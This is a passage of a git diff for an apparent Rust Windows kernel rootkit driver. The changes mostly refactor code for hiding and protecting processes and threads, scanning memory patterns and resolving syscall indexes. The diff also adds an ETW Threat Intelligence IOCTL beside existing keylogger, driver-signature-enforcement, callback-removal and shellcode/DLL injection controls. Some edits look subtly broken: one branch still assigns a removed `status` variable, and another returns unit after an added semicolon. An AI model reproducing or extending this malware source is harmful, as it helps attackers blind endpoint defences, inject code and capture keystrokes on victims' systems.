Self::enumerate_hide_processes(info_process, information); + Self::enumerate_hide_processes(info_process, information) }, #[cfg(not(feature = "mapper"))] Options::Protection => { - status = callback::enumerate_protection_processes(info_process, information); + callback::enumerate_protection_processes(info_process, information) }, #[cfg(feature = "mapper")] Options::Protection => { - status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST; + wdk_sys::STATUS_INVALID_DEVICE_REQUEST; }, } - - status } /// Enumerate Processes Hide. diff --git a/driver/src/registry/utils.rs b/driver/src/registry/utils.rs index 6d3b7ea..1855b93 100644 --- a/driver/src/registry/utils.rs +++ b/driver/src/registry/utils.rs @@ -234,10 +234,6 @@ pub unsafe fn enumerate_value_key( /// Trait for accessing the object in registry information. pub trait RegistryInfo { - /// - /// - /// - /// fn get_object(&self) -> *mut c_void; } diff --git a/driver/src/thread/callback.rs b/driver/src/thread/callback.rs index ee74025..55cf8be 100644 --- a/driver/src/thread/callback.rs +++ b/driver/src/thread/callback.rs @@ -28,13 +28,11 @@ static TARGET_TIDS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_ /// - `NTSTATUS`: A status code indicating the success or failure of the operation. pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS { let tid = unsafe { (*process).tid }; - let status = if unsafe { (*process).enable } { + if unsafe { (*process).enable } { add_target_tid(tid) } else { remove_target_tid(tid) - }; - - status + } } /// Method for adding the list of threads that will have anti-kill / dumping protection. diff --git a/driver/src/thread/mod.rs b/driver/src/thread/mod.rs index ee5dda8..bc00390 100644 --- a/driver/src/thread/mod.rs +++ b/driver/src/thread/mod.rs @@ -64,13 +64,11 @@ impl Thread { /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS { - let status = if (*thread).enable { + if (*thread).enable { Self::hide_thread(thread) } else { Self::unhide_thread(thread) - }; - - status + } } /// Hides a thread by removing it from the list of active threads. @@ -220,23 +218,19 @@ impl Thread { /// - `NTSTATUS`: A status code indicating the success or failure of the operation. /// pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS { - let status; - match (*input_target).options { Options::Hide => { - status = Self::enumerate_hide_threads(info_process, information); + Self::enumerate_hide_threads(info_process, information) }, #[cfg(not(feature = "mapper"))] Options::Protection => { - status = enumerate_protection_threads(info_process, information); + enumerate_protection_threads(info_process, information) }, #[cfg(feature = "mapper")] Options::Protection => { status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST; }, } - - status } } diff --git a/driver/src/utils/address.rs b/driver/src/utils/address.rs index 37dc98d..da3109f 100644 --- a/driver/src/utils/address.rs +++ b/driver/src/utils/address.rs @@ -1,15 +1,11 @@ use { obfstr::obfstr, ntapi::ntzwapi::ZwQuerySystemInformation, - super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach}, + wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED}, crate::{process::Process, utils::SystemModuleInformation}, - core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, - wdk_sys::{ - NT_SUCCESS, POOL_FLAG_NON_PAGED, - }, - winapi::um::winnt::{ - RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64 - } + core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, + super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach}, + winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64} }; /// Gets the base address of a specified module. @@ -99,16 +95,8 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) - /// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. /// pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { - let pid = match get_process_by_name(obfstr!("winlogon.exe")) { - Some(p) => p, - None => return None - }; - - let target = match Process::new(pid) { - Some(p) => p, - None => return None - }; - + let pid = get_process_by_name(obfstr!("winlogon.exe"))?; + let target = Process::new(pid)?; let attach_process = ProcessAttach::new(target.e_process); let dll_base = dll_base as usize; diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index eab6b63..1b227e1 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -1,5 +1,6 @@ use { obfstr::obfstr, + handles::Handle, pool::PoolMemory, process_attach::ProcessAttach, crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process}, @@ -10,7 +11,6 @@ use { ptr::{null_mut, read_unaligned}, slice::from_raw_parts }, - handles::Handle, ntapi::{ ntexapi::{ SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION @@ -177,7 +177,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) return None; } - let dll_name = alloc::string::String::from_utf16(&buffer).ok()?; + let dll_name = alloc::string::String::from_utf16_lossy(buffer); if dll_name.to_lowercase().contains(module_name) { let dll_base = (*list_entry).DllBase as usize; let dos_header = dll_base as *mut IMAGE_DOS_HEADER; @@ -379,7 +379,7 @@ pub fn read_file(path: &String) -> Result, NTSTATUS> { return Err(status); } - return Ok(shellcode) + Ok(shellcode) } /// Responsible for returning information on the modules loaded. diff --git a/driver/src/utils/patterns.rs b/driver/src/utils/patterns.rs index 9eaacb5..2cefa37 100644 --- a/driver/src/utils/patterns.rs +++ b/driver/src/utils/patterns.rs @@ -1,19 +1,39 @@ use { obfstr::obfstr, - super::{address::get_module_base_address, InitializeObjectAttributes}, + super::{ + address::get_module_base_address, + InitializeObjectAttributes, + }, core::{ ffi::{c_void, CStr}, mem::{size_of, zeroed}, ptr::{null_mut, read}, slice::from_raw_parts }, - winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER}, wdk_sys::{ - NT_SUCCESS, - ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection}, + ntddk::{ + ZwClose, ZwMapViewOfSection, ZwOpenSection, + ZwUnmapViewOfSection + }, LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ, - SECTION_QUERY, _SECTION_INHERIT::ViewUnmap + SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, NT_SUCCESS + }, + winapi::um::winnt::{ + IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, + IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER }, }; +fn slice_to_number(slice: &[u8], func: fn([u8; N]) -> T) -> Result { + if slice.len() != N { + return Err("Slice length mismatch"); + } + + // Converts the slice to an array of N bytes + let array: [u8; N] = slice.try_into().map_err(|_| "Slice length mismatch")?; + + // Converts the byte array to the desired type + Ok(func(array)) +} + /// Scans memory for a specific pattern of bytes in a specific section. /// # Parameters /// - `base_addr`: The base address (in `usize` format) from which the scan should start. @@ -23,28 +43,29 @@ use { /// # Returns /// - `Option<*const u8>`: The address of the target function if found. /// -pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> { - let dos_header = base_addr as *const IMAGE_DOS_HEADER; - let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; +pub unsafe fn scan_for_pattern( + function_address: *mut c_void, + pattern: &[u8], + offset: usize, + final_offset: isize, + size: usize, + func: fn([u8; N]) -> T, +) -> Option<*mut u8> +where + T: Into, +{ + let function_bytes = from_raw_parts(function_address as *const u8, size); - for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { - let section = (*section_header.add(i)).Name; - let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); - - if name == section_name { - let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize; - let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize; - let data = core::slice::from_raw_parts(section_start as *const u8, section_size); + if let Some(x) = function_bytes.windows(pattern.len()).position(|x| x == pattern) { + let position = x + offset; + let offset: T = slice_to_number(&function_bytes[position..position + N], func).ok()?; - if let Some(offset) = data.windows(pattern.len()).position(|window| { - window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p) - }) { - return Some((section_start + offset) as *const u8); - } - } + let address = function_address.cast::().offset(x as isize); + let next_address = address.offset(final_offset); + Some(next_address.offset(offset.into() as isize)) + } else { + None } - None } /// Finds the address of a specified Zw function. @@ -96,7 +117,7 @@ pub unsafe fn find_zw_function(name: &str) -> Option { } } - return None + None } /// Retrieves the syscall index for a given function name. @@ -151,9 +172,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option { let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?; let ordinal = ordinals[i as usize] as usize; let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; - if name == function_name { - - if read(address) == 0x4C + if name == function_name && read(address) == 0x4C && read(address.add(1)) == 0x8B && read(address.add(2)) == 0xD1 && read(address.add(3)) == 0xB8 @@ -168,10 +187,9 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option { ZwClose(section_handle); return Some(ssn); } - } } ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); ZwClose(section_handle); - return None + None } \ No newline at end of file diff --git a/shared/src/ioctls.rs b/shared/src/ioctls.rs index da81c01..5d88b11 100644 --- a/shared/src/ioctls.rs +++ b/shared/src/ioctls.rs @@ -31,6 +31,9 @@ pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_N // Keylogger pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS); +// ETWTI +pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS); + // Callbacks pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS); @@ -52,4 +55,3 @@ pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS); -pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS); \ No newline at end of file diff --git a/shared/src/structs/mod.rs b/shared/src/structs/mod.rs index ed087c4..0262ae5 100644 --- a/shared/src/structs/mod.rs +++ b/shared/src/structs/mod.rs @@ -36,6 +36,13 @@ pub struct Keylogger { pub enable: bool } +// ETWTI +#[repr(C)] +#[derive(Debug)] +pub struct ETWTI { + pub enable: bool +} + // Input for information that needs to be listed #[repr(C)] pub struct EnumerateInfoInput {